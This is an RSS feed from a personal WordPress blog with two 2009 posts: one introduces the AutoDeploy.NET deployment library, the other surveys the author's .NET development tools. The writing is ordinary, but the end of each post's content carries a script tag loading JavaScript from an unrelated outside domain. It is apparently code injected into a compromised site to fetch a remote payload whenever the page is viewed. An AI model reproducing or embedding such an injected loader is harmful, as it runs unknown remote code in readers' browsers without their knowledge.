<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; Unity</title>
	<atom:link href="http://eric.polerecky.com/archives/category/unity/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>AutoDeploy.NET to GitHub</title>
		<link>http://eric.polerecky.com/archives/autodeploy-net-to-github/</link>
		<comments>http://eric.polerecky.com/archives/autodeploy-net-to-github/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 15:15:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[AutoDeploy.NET]]></category>
		<category><![CDATA[GitHub]]></category>
		<category><![CDATA[MEF]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[autodeploy]]></category>
		<category><![CDATA[fluent interface]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/autodeploy-net-to-github/</guid>
		<description><![CDATA[<br/>First; When I pushed to GitHub I decided to rename the project to AutoDeploy.NET. 
In the hopes of keeping my sanity and in the context of working in an organization that strictly follows a 50+ page “release management handbook” I started working on AutoDeploy.NET; a deployment automation tool. 
As with all my personal projects I


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<br/><p>First; When I pushed to <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">GitHub</a> I decided to rename the project to <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a>. </p>
<p>In the hopes of keeping my sanity and in the context of working in an organization that strictly follows a 50+ page “release management handbook” I started working on <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a>; a deployment automation tool. </p>
<p>As with all my personal projects I took an academic approach to the design and implementation. Instead of building an entire application I created a class library (dll) and used a few 3rd party libraries that I was either unfamiliar.</p>
<h4>Class Library</h4>
<p>My thought here is that by just creating the class library I would have a chance to create a fluent interface and if I did that well enough, creating a UI would be a trivial task. I have not hit a brick wall with this decision but messaging and logging might soon bite me in the…end.</p>
<h4>Sharp SVN</h4>
<p><a href="http://sharpsvn.open.collab.net/" target="_blank">SharpSvn</a> is a binding of the Subversion Client API for .Net 2.0 applications contained within a set of xcopy-deployable dll&#8217;s</p>
<p>Working with source control <strong>should</strong> be part of every deployment, build process, or continuous integration. I use SVN for my source control and so did organization. As I, along with what seems like the rest of the world, move to Git I might find time to write a Git service for <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a></p>
<h4>Html Agility Pack</h4>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://www.codeplex.com/htmlagilitypack" target="_blank">Html Agility Pack</a> is an agile HTML parser that builds a read/write DOM and supports plain XPATH or XSLT (you actually don&#8217;t HAVE to understand XPATH nor XSLT to use it, don&#8217;t worry&#8230;). It is a .NET code library that allows you to parse &quot;out of the web&quot; HTML files. The parser is very tolerant with &quot;real world&quot; malformed HTML. The object model is very similar to what proposes System.Xml, but for HTML documents (or streams).</span></p>
<p>Instead of using Sharp SVN or simple the .NET webclient I used the agility pack to parse the html that is returned when browsing a SVN repo. This is done to monitor the repo for new tags and kick off deployments based on the tag convention x.x.x. </p>
<p>The use is purely academic and limited in scope. It could easily be removed in order to cut-down on the number of 3rd party libraries required.</p>
<h4>MEF</h4>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://mef.codeplex.com/" target="_blank">Managed Extensibility Framework (MEF)</a> is a new library in .NET that enables greater reuse of applications and components. Using MEF, .NET applications can make the shift from being statically compiled to dynamically composed. If you are building extensible applications, extensible frameworks and application extensions, then MEF is for you.</span></p>
<p>Extensibility! The decision to use MEF at such an early stage was purely academic but the result is perfect. I only wanted to code for the common scenarios. </p>
<p>In the environment I worked the process was very manual with SharePoint forms being touted as progress…I planed on writing a class library that implemented ICustomTask and called WaitN to fill out the endless, mind-numbing, pointless, wasteful, costly, wow….sorry..off track.</p>
<h4>Unity</h4>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://www.codeplex.com/unity/" target="_blank">Unity Application Block (Unity)</a> is a lightweight extensible dependency injection container with support for constructor, property, and method call injection.</span></p>
<p>I choose unity because I am familiar with it. I should have used <a href="http://ninject.org/" target="_blank">ninject</a> or <a href="http://code.google.com/p/autofac/" target="_blank">autofac</a> or <a href="http://structuremap.sourceforge.net/Default.htm" target="_blank">StructureMap</a> or .. well you get the point. </p>
<h4>Fluent Interface</h4>
<p>A <a href="http://en.wikipedia.org/wiki/Fluent_interface" target="_blank">fluent interface</a> is a way of implementing an object oriented API in a way that aims to provide for more readable code.</p>
<p>It started off as a way to work with the buzz word of the day…but the first time I wrote an <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a> parent application using the fluent interface I was hooked!</p>
<h4>Point In Time</h4>
<p>I made, what I consider, significent progress on <a href="http://github.com/detroitpro/AutoDeploy.NET/tree/master" target="_blank">AutoDeploy.NET</a> before parting ways with said organization. And while I hope to never ever need such a tool I feel for those solders I left behind. Seriously; we’ve identified many different scenarios where automating one or more of the common deployment tasks would be helpful to any developer. </p>
<p>Logging, Auditing and Messaging are the missing pieces at this time. </p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/introducing-autodeploy/' rel='bookmark' title='Permanent Link: Introducing: AutoDeploy'>Introducing: AutoDeploy</a> <small>A class library to help automate simple deployment tasks. Warning:...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-dogfood/' rel='bookmark' title='Permanent Link: AutoDeploy &ndash; Dogfood'>AutoDeploy &ndash; Dogfood</a> <small>Its been a very slow road for me and coding...</small></li>
<li><a href='http://eric.polerecky.com/archives/autodeploy-rework/' rel='bookmark' title='Permanent Link: AutoDeploy Rework'>AutoDeploy Rework</a> <small>Tonight I reworked in workflow, persistence, mapping, and entities in...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/autodeploy-net-to-github/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Toolset 2009</title>
		<link>http://eric.polerecky.com/archives/toolset-2009/</link>
		<comments>http://eric.polerecky.com/archives/toolset-2009/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 17:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[ASP.NET MVC Futures]]></category>
		<category><![CDATA[AutoMapper]]></category>
		<category><![CDATA[CruiseControl.NET]]></category>
		<category><![CDATA[Entity Framework]]></category>
		<category><![CDATA[Facebox]]></category>
		<category><![CDATA[Feedreader]]></category>
		<category><![CDATA[FxCop]]></category>
		<category><![CDATA[LINQPad]]></category>
		<category><![CDATA[MSTest]]></category>
		<category><![CDATA[SVN]]></category>
		<category><![CDATA[SourceMonitor]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[Unity]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[WebSVN]]></category>
		<category><![CDATA[iTextSharp]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=340</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Most of my work so far this year has been with one client. This client was a Java shop for quite some time and is pretty green to Microsoft. Also, they don’t seem to ever have had real success with building enterprise class systems. That’s not to say that they haven’t wrote very large and


Related posts:<ol><li><a href='http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/' rel='bookmark' title='Permanent Link: A completely biased comparison of ASP.NET MVC and Webforms'>A completely biased comparison of ASP.NET MVC and Webforms</a> <small>I have to admit I am total bias towards MVC...</small></li>
</ol>]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>Most of my work so far this year has been with one client. This client was a Java shop for quite some time and is pretty green to Microsoft. Also, they don’t seem to ever have had real success with building enterprise class systems. That’s not to say that they haven’t wrote very large and very complex systems. They have done it all with either the bare minimum in tooling or a incorrect implementation of the tooling.</p>
<p>In fact; one of their primary reasons for moving to .NET was to perform a tooling reset. They decided it was too hard to use technology like OR/M, DI, Messaging, and MVC. The figured that (straight from the horse mouth) “Webforms, ADO.NET and SQL” is all we need. I don’t even understand that statement…anyway…<strong><em>back to the tools</em></strong></p>
<p>Of course I believe this is all based on the improper use of technology. As they say “Any tool can become a weapon if held properly”. unfortunately for me and future developers with this client. The technology that was so frond upon is the tool that….um…well…never mind.</p>
<p>All I am trying to say is that I’ve been pretty tied into some specific Microsoft technology most of the year. Most of the tools on this list had to pass through a standards committee meeting and some are still under the radar…<strong><em>Ok on with the tools!</em></strong></p>
<h6>Visual Studio 2008 (2005, Visual Basic, Dreamweaver)</h6>
<p>Thankfully most of my work is new development so I spend a bulk of my time in Visual Studio 2008. Unfortunately is not TFS so my task tracking is handled outside….if at all. Also there are no productivity plug-ins available, I even asked if I could install my own…so no ReShaper or Visual SVN</p>
<h6>ASP.NET 3.5 SP1 VB.NET</h6>
<p>With most of my work new development I do get to keep up with the .NET version. I am REALLY looking forward to .NET 4 (its just 4 right?…I heard someone from MS flies out and you get your hand slapped if you call it 4.0)</p>
<h6>ASP.NET MVC</h6>
<p>Yeah! what more can I say.</p>
<h6>ASP.NET MVC Futures</h6>
<p>This one has not passed through the development standards committee yet but since I also sit on the committee I don’t think it will be much of a fight. Really I only use it for Html.RenderAction</p>
<h6>WCF</h6>
<p>The tooling is rough but the technology is solid. I am really happy with WCF and hope it infects my clients….but I feel that will stick with asmx for a few more YEARS….</p>
<h6>EF</h6>
<p>I am just not ready to fight for Nhibernate just yet…I have a new project starting around the 20th, as with every new project I try to push through one new technology. I think this one will finally get a OR/M.</p>
<p>I do like where MS is going with EF and look forward to EF 4, isn’t that what its called in .NET 4.0?, but as much as I work with EF 1 ….man its rough. I’ve often considered using Linq2Sql and building on top ala <a href="http://blog.wekeroad.com/category/mvc-storefront" target="_blank">Rob Conery’s MVC Storefront</a>.</p>
<h6>AutoMapper</h6>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">A convention-based object-object mapper.      </p>
<p>AutoMapper uses a fluent configuration API to define an object-object mapping strategy. AutoMapper uses a convention-based matching algorithm to match up source to destination values. Currently, AutoMapper is geared towards model projection scenarios to flatten complex object models to DTOs and other simple objects, whose design is better suited for serialization, communication, messaging, or simply an anti-corruption layer between the domain and application layer.</span></p>
<h6>iTextSharp</h6>
<p><a href="http://itextsharp.sourceforge.net/" target="_blank">iTextSharp</a> is a port of the <a href="http://www.lowagie.com/iText/" target="_blank"><u><font color="#0066cc">iText, a free Java-Pdf library</font></u></a>.</p>
<h6>Unity</h6>
<p><span id="ctl00_ctl00_MasterContent_Content_wikiSourceLabel">The <a href="http://codeplex.com/unity" target="_blank">Unity Application Block (Unity)</a> is a lightweight extensible dependency injection container with support for constructor, property, and method call injection.</span></p>
<h6>MSTest (unit testing)</h6>
<p>Still using the default unit testing framework. Right now I am really focused on getting more developers to write tests…anything…please. Really; there are no tests. Functional testing by non-technical people is NOT testing. Crap…I feel another post coming on…</p>
<h6>LINQPad</h6>
<p>I am a big fan of LINQ!</p>
<p><b><a href="http://www.linqpad.net/" target="_blank">LINQPad</a></b> lets you interactively query SQL databases in a <i>modern query language</i>: <b>LINQ.&#160; </b>Kiss goodbye to SQL Management Studio!</p>
<p>LINQPad supports everything in C# 3.0 and Framework 3.5:</p>
<ul>
<li>LINQ to Objects </li>
<li>LINQ to SQL </li>
<li>Entity Framework </li>
<li>LINQ to XML </li>
</ul>
<h6>Spark View Engine</h6>
<p><a href="http://sparkviewengine.com/" target="_blank">Spark</a> is a view engine for <a href="http://www.asp.net/mvc/" target="_blank">Asp.Net Mvc</a> and Castle Project MonoRail frameworks. The idea is to allow the html to dominate the flow and the code to fit seamlessly.</p>
<p>It should be noted that I am pretty new to spark and I am testing it in some personal projects to see if its worth bringing into a client. BUT the client has a strict VB only stance…so my testing will not only be standard spark stuff but doing so in a VB.NET MVC project….check out the videos.</p>
<h6>jQuery</h6>
<p><a href="http://jquery.com/" target="_blank">jQuery</a> is a fast and concise JavaScript Library that simplifies HTML document traversing, event handling, animating, and Ajax interactions for rapid web development. <strong><a href="http://jquery.com/" target="_blank">jQuery</a> is designed to change the way that you write JavaScript.</strong></p>
<p>I am a JavaScript nut…primarrly <strong><a href="http://jquery.com/" target="_blank">jQuery</a></strong> and <a href="http://www.dojotoolkit.org/" target="_blank">Dojo</a>…really happy to see it in MVC because it was denied by my largest client until it started coming out of File-&gt;New Project…..Thanks Microsoft</p>
<h6>jQuery Facebox w/ homegrown iframe support</h6>
<p><a href="http://famspam.com/facebox" target="_blank">Facebox</a> is a jQuery-based, Facebook-style lightbox which can display images, divs, or entire remote pages. It&#8217;s simple to use and easy on the eyes. </p>
<p>Bringing in modals was a lot of work; demos, meetings, documents, etc….we went with thickbox….I am using facebox with support for iframe content.</p>
<h6>CruiseControl.NET</h6>
<p><b><a href="http://confluence.public.thoughtworks.org/display/CCNET/Welcome+to+CruiseControl.NET" target="_blank">CruiseControl.NET</a></b> is an Automated Continuous Integration server, implemented using the Microsoft .NET Framework. Again; under the radar…I have a ccnet server running on my desktop…</p>
<h6>FxCop</h6>
<p>FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.</p>
<h6>SVN</h6>
<p><strong>Subversion</strong> (<b>SVN</b>) is a <a title="Revision control" href="http://en.wikipedia.org/wiki/Revision_control"><u><font color="#0066cc">version control</font></u></a> system initiated in 2000 by <a title="CollabNet" href="http://en.wikipedia.org/wiki/CollabNet"><u><font color="#0066cc">CollabNet</font></u></a> Inc. It is used to maintain current and historical versions of files such as <a title="Source code" href="http://en.wikipedia.org/wiki/Source_code"><u><font color="#0066cc">source code</font></u></a>, web pages, and documentation. Its goal is to be a mostly-compatible successor to the widely used <a title="Concurrent Versions System" href="http://en.wikipedia.org/wiki/Concurrent_Versions_System"><u><font color="#0066cc">Concurrent Versions System</font></u></a> (CVS).</p>
<p>BUT…its 1.3.2….and it has pretty limited support for merges…..ugh…I think you get the picture by now….</p>
<h6>WebSVN</h6>
<p><a href="http://www.websvn.info/" target="_blank">WebSVN</a> offers a view onto your subversion repositories that&#8217;s been designed to reflect the Subversion methodology. You can view the log of any file or directory and see a list of all the files changed, added or deleted in any given revision. You can also view the differences between two versions of a file so as to see exactly what was changed in a particular revision.</p>
<p><a href="http://www.websvn.info/" target="_blank">WebSVN</a> offers the following features:</p>
<ul>
<li>Easy to use interface </li>
<li>Customisable templating system </li>
<li>Colourisation of file listings </li>
<li>Blame view </li>
<li>Log message searching </li>
<li>RSS feed support </li>
<li><a href="http://www.websvn.info/features/"><u><font color="#0066cc">and more&#8230;</font></u></a> </li>
</ul>
<p>And best of all….something about radar…</p>
<h6>Feedreader</h6>
<p>I use <a href="http://www.feedreader.com/download" target="_blank">feedreader</a> to monitor the RSS feeds from WebSVN. This way I know what is going on with my teams projects and&#160; other teams projects which my programs are dependant</p>
<h6>SourceMonitor</h6>
<p><font face="Georgia"><a href="http://www.campwoodsw.com/sourcemonitor.html" target="_blank">SourceMonitor</a> lets you see inside your software source code to find out how much code you have and to identify the relative complexity of your modules. For example, you can use SourceMonitor to identify the code that is most likely to contain defects and thus warrants formal review</font></p>
<ul>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Collects metrics in a fast, single pass through source files.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Measures metrics for source code written in C++, C, C#, VB.NET, Java, Delphi, Visual Basic (VB6) or HTML.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Includes method and function level metrics for C++, C, C#, VB.NET, Java, and Delphi. </font></li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Saves metrics in checkpoints for comparison during software development projects.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Displays and prints metrics in tables and charts.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Operates within a standard Windows GUI or inside your scripts using XML command files.</font> </li>
<li><font size="3" face="Georgia, Times New Roman, Times, serif">Exports metrics to XML or CSV (comma-separated-value) files for further processing with other tools.</font> </li>
</ul>
<h1>Conclusion</h1>
<p>I am one stealthy developer…you would think that since I am on the committee that defines developer standards most of these items would be known, understood, or used…..or maybe you think I’m not demoing, teaching, preaching, or begging…well if you think that you don’t know me <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I am shouting, arguing, and fighting…..ugh…</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>Related posts:<ol><li><a href='http://eric.polerecky.com/archives/a-completely-biased-comparison-of-aspnet-mvc-and-webforms/' rel='bookmark' title='Permanent Link: A completely biased comparison of ASP.NET MVC and Webforms'>A completely biased comparison of ASP.NET MVC and Webforms</a> <small>I have to admit I am total bias towards MVC...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/toolset-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
